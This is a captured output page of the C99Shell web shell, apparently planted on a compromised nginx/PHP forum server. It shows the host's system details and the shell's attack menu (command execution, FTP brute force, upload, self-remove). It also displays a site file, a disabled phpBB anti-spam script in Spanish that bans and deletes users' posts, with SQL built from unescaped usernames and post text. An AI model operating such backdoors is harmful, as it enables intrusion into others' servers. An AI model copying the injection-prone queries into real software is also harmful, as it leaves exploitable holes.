!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.36 GB of 96.73 GB (86.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     antispamforo.php (7.34 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

 
#if (@$_REQUEST['debug']=='true')antispam();  

function antispam(){
    return(
'');    // DESACTIVADO!
  
include ("../frames/conn.php");

  
$debug=false;
    if (
$_REQUEST['debug']=='true')$debug=true;  
 
$counter=false
  
 
$fecha=NEW DateTime(date("Y-m-d H:i:s"));
 
$fecha->modify("+".DIF_HORARIA." hour"); 
  
$conn=&mysql_connect(localhost,BBDDUSER,BBDDPASSWORD);    
 


//ESTO DE MOMENTO LO ELIMINAMOS. pOR LO MENOS, HASTA QUE ENTREN BOTYS DE NUEVO. MIRAR EL id DESDE EL CUAL QUEREMOS TRABAJAR!



// nos cargamos los mensajes y topics de la gente con ID mayor a 84000, cuyas respuestas a las preguntas de perfil sean errĂ³neas
// PUES NO, HAY PROBLEMILLAS

$limite_inferior=700000;

$sql="delete  from ".BBDD_FORO.".phpbb_posts 
WHERE poster_id
IN (select user_id from "
.BBDD_FORO.".phpbb_profile_fields_data where (pf_queescomestible !=4 or  pf_colorhierba!=3 and user_id > $limite_inferior)) ";
//echo $sql;
//mysql_query($sql,$conn);    

//Los topics mejor que no, no sea que se produzca el borrado masivo de mensajes anterior
 /*$sql="delete  from ".BBDD_FORO.".phpbb_topics 
WHERE topic_poster
IN (select user_id from ".BBDD_FORO.".phpbb_profile_fields_data where (pf_queescomestible !=4 or  pf_colorhierba!=3))";
//echo $sql;  
//mysql_query($sql,$conn);    

 */
  


//ahora, los baneamos

$sql8="select *  FROM ".BBDD_FORO.".phpbb_users t1  where  t1.user_id>$limite_inferior and t1.user_id in (select t2.user_id from ".BBDD_FORO.".phpbb_profile_fields_data t2 where t2.user_id=t1.user_id and (t2.pf_queescomestible !=4 or  t2.pf_colorhierba!=3)) and  t1.user_id not in (select ban_userid from ".BBDD_FORO.".phpbb_banlist t3 where  t3.ban_userid=t1.user_id)";


 
$resocho=mysql_query($sql8,$conn);
 echo 
mysql_error();
while (
$row_ocho=mysql_fetch_array($resocho)){  
    
    
// vemos que respuesta hea dado mal:
    
$rowrespuestas=mysql_fetch_array(mysql_query("select user_id,pf_queescomestible, pf_colorhierba from  ".BBDD_FORO.".phpbb_profile_fields_data where user_id={$row_ocho['user_id']}")); 
    if (
$row_ocho['user_id']==8537){
    echo 
"<pre>";

    
print_r($rowrespuestas);
    
    }   
    
    
    if (
$rowrespuestas['pf_queescomestible']!=4){
        
$sqlb="select * from ".BBDD_FORO.".phpbb_profile_fields_lang where field_id=1  and option_id=";
        
$resultado=$rowrespuestas['pf_queescomestible']-1;
        
$sqlb.=$resultado;
        if (
$debug){
            echo 
"la sql es: ";
    echo 
$sqlb;  
    
$counter=true;
        }
    
$rescom=mysql_query($sqlb,$conn);
    
$comestible=mysql_fetch_array($rescom);
    }
    if (
$rowrespuestas['pf_colorhierba']!=3){
    
$sqlc="select * from ".BBDD_FORO.".phpbb_profile_fields_lang where field_id=3  and option_id=";
    
$resultado=$rowrespuestas['pf_colorhierba']-1;
    
$sqlc.=$resultado;
    
$counter=true;
        
$rescol=mysql_query($sqlc,$conn);
        
$colorhierba=mysql_fetch_array($rescol);
    
    }
    
$ccadena="";
    if (
$comestible)$ccadena.="respuesta a QUE ES COMESTIBLE:{$comestible['lang_value']} (incorrecto), ";
    if  (
$colorhierba)$ccadena.="respuesta a COLOR DE LA HIERBA:{$colorhierba['lang_value']} (incorrecto),"
    
    
    
    
    
$sql="insert into ".BBDD_FORO.".phpbb_banlist 
 (ban_userid,
 ban_start,
 ban_reason,
 ban_give_reason)
 values
 (
{$row_ocho['user_id']},
 "
.time().",
 'respuesta',
 'error en repuesta de usuario:
{$row_ocho['username_clean']},$ccadena el dia ".$fecha->format("Y-m-d H:i:s").{$row_ocho['post_text']}')";
 if(
$debug){
      echo 
$sql;
 }
 
mysql_query($sql,$conn);  
    
}    









  
// nos cargamos los mensajes y topics de la gente con ICQ e intereses
  
  //pUES TAMPOCO
 
  
$sql="delete  from ".BBDD_FORO.".phpbb_posts 
where post_id > 452000 and 
 poster_id
IN (
SELECT user_id
FROM "
.BBDD_FORO.".phpbb_users
WHERE user_icq >0
AND user_interests > ''
)"
;
 
/* 
        mysql_query($sql,$conn);    
 $sql="delete  from ".BBDD_FORO.".phpbb_topics 
WHERE topic_poster
IN (
SELECT user_id
FROM ".BBDD_FORO.".phpbb_users
WHERE user_icq >0
AND user_interests > ''
)";
      //  mysql_query($sql,$conn);    
 */      
        
 // ahora, los baneamos
 
$sql9="SELECT *
FROM "
.BBDD_FORO.".phpbb_users
where user_id > 452000
and user_icq >0
AND user_interests > '' and user_id not in (select ban_userid from "
.BBDD_FORO.".phpbb_banlist where 1=1)";
 
$resusu=mysql_query($sql9,$conn);
  echo 
mysql_error();
while (
$row_usu=mysql_fetch_array($resusu)){  
    
$sql="insert into ".BBDD_FORO.".phpbb_banlist 
 (ban_userid,
 ban_start,
 ban_reason,
 ban_give_reason)
 values
 (
{$row_usu['user_id']},
 "
.time().",
 'spammer',
 'spammer 
{$row_usu['username_clean']} dia: ".$fecha->format("Y-m-d H:i:s").{$row['post_text']}')";
 
mysql_query($sql,$conn);  
$counter=true;    
}    




/*
// ahora, ponemos las estadisticas de ultimo escritor de post con el usuario correcto
if ($counter){
    $sql="SELECT topic_id, topic_last_poster_id, topic_title, topic_last_poster_name
    FROM ".BBDD_FORO.".phpbb_topics
    WHERE topic_last_poster_id
    IN  (SELECT ban_userid
    FROM ".BBDD_FORO.".phpbb_banlist 
    WHERE (
    ban_reason LIKE '%respuesta%'
    OR ban_reason LIKE '%spam%'
    ))";
    if ($debug)echo $sql."<br>";

    $res_ult=mysql_query($sql,$conn);
        if ($debug)echo mysql_error()."<br>"; 
    while ($topic=mysql_fetch_array($res_ult)){
        
        //    $topic['topic_id']
            $sql="SELECT poster_id,post_id
        FROM ".BBDD_FORO.".phpbb_posts
        WHERE topic_id ={$topic['topic_id']}
        ORDER BY post_id DESC limit 1 ";
        $sustituir=mysql_fetch_array(mysql_query($sql,$conn));

        $sql2="update ".BBDD_FORO.".phpbb_topics 
        set  topic_last_poster_id=".$sustituir['poster_id']." ,
        topic_last_post_id=".$sustituir['post_id']." , 
        topic_last_poster_name=
            (select username  from phpbb_users where user_id=".$sustituir['poster_id'].") 
        where topic_id={$topic['topic_id']}";
        if ($debug)echo $sql."<br>".$sql2."<br>"; 
    //    mysql_query($sql2);
        if ($debug)echo mysql_error()."<br>";  
            
    }

}
*/
        
    // segundo paso:

  

  // ESTO DE MOMENTO LOELIMINAMOS, HASTA QUE APAREZCAN BOTS
  /*
  
  
  // buscamos la palabra choosing, arimidecs y similares 
  
  $sql="select * from ".BBDD_FORO.".phpbb_posts where post_text like '%choosing%' or post_text like '%to leave%'
 or post_text like '%pharmaceutical%' or post_text like '% buy %' or post_text like '%arimidex%' or post_text like '%Wholesale%' or post_text like '% nude %'  or post_text like '% celebrities %'  or  post_text like '%celebs%'";
 
  $res=mysql_query($sql,$conn);
  echo mysql_error();
  //echo "<pre>";
      //echo $sql."<br>";
  while ($row=mysql_fetch_array($res)){
        
  print_r($row);      
        
        // borrariamos el hilo entero
        
        $sql="delete  from ".BBDD_FORO.".phpbb_posts where topic_id={$row['topic_id']}";
        mysql_query($sql,$conn);   
        
        $sql="delete  from ".BBDD_FORO.".phpbb_topics where topic_id={$row['topic_id']}";        
      
        mysql_query($sql,$conn);
        
        
       // buscariamos el poster_id
        $sql="SELECT * FROM ".BBDD_FORO.".phpbb_users WHERE user_id ={$row['poster_id']}";

 
 
 $rowusuario=mysql_fetch_array(mysql_query($sql,$conn));
 
 $sql="insert into ".BBDD_FORO.".phpbb_banlist 
 (ban_userid,
 ban_start,
 ban_reason,
 ban_give_reason)
 values
 ({$row['poster_id']},
 ".time().",
 'spammer',
 'spammer {$rowusuario['username_clean']} dia: ".$fecha->format("Y-m-d H:i:s")." {$row['post_text']}')";
 mysql_query($sql,$conn);  
 
       
        
  }
  
  
  */
  
  //y para acabar, a ver si acabamos con "no leuidos" y los baneados que se hayan colado.
  
  
  
 // $sql="delete from ".BBDD_FORO.".phpbb_topics_posted
//where user_id in (select ban_userid from ".BBDD_FORO.".phpbb_banlist where 1=1 )";
//echo $sql;
//mysql_query($sql,$conn);    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0034 ]--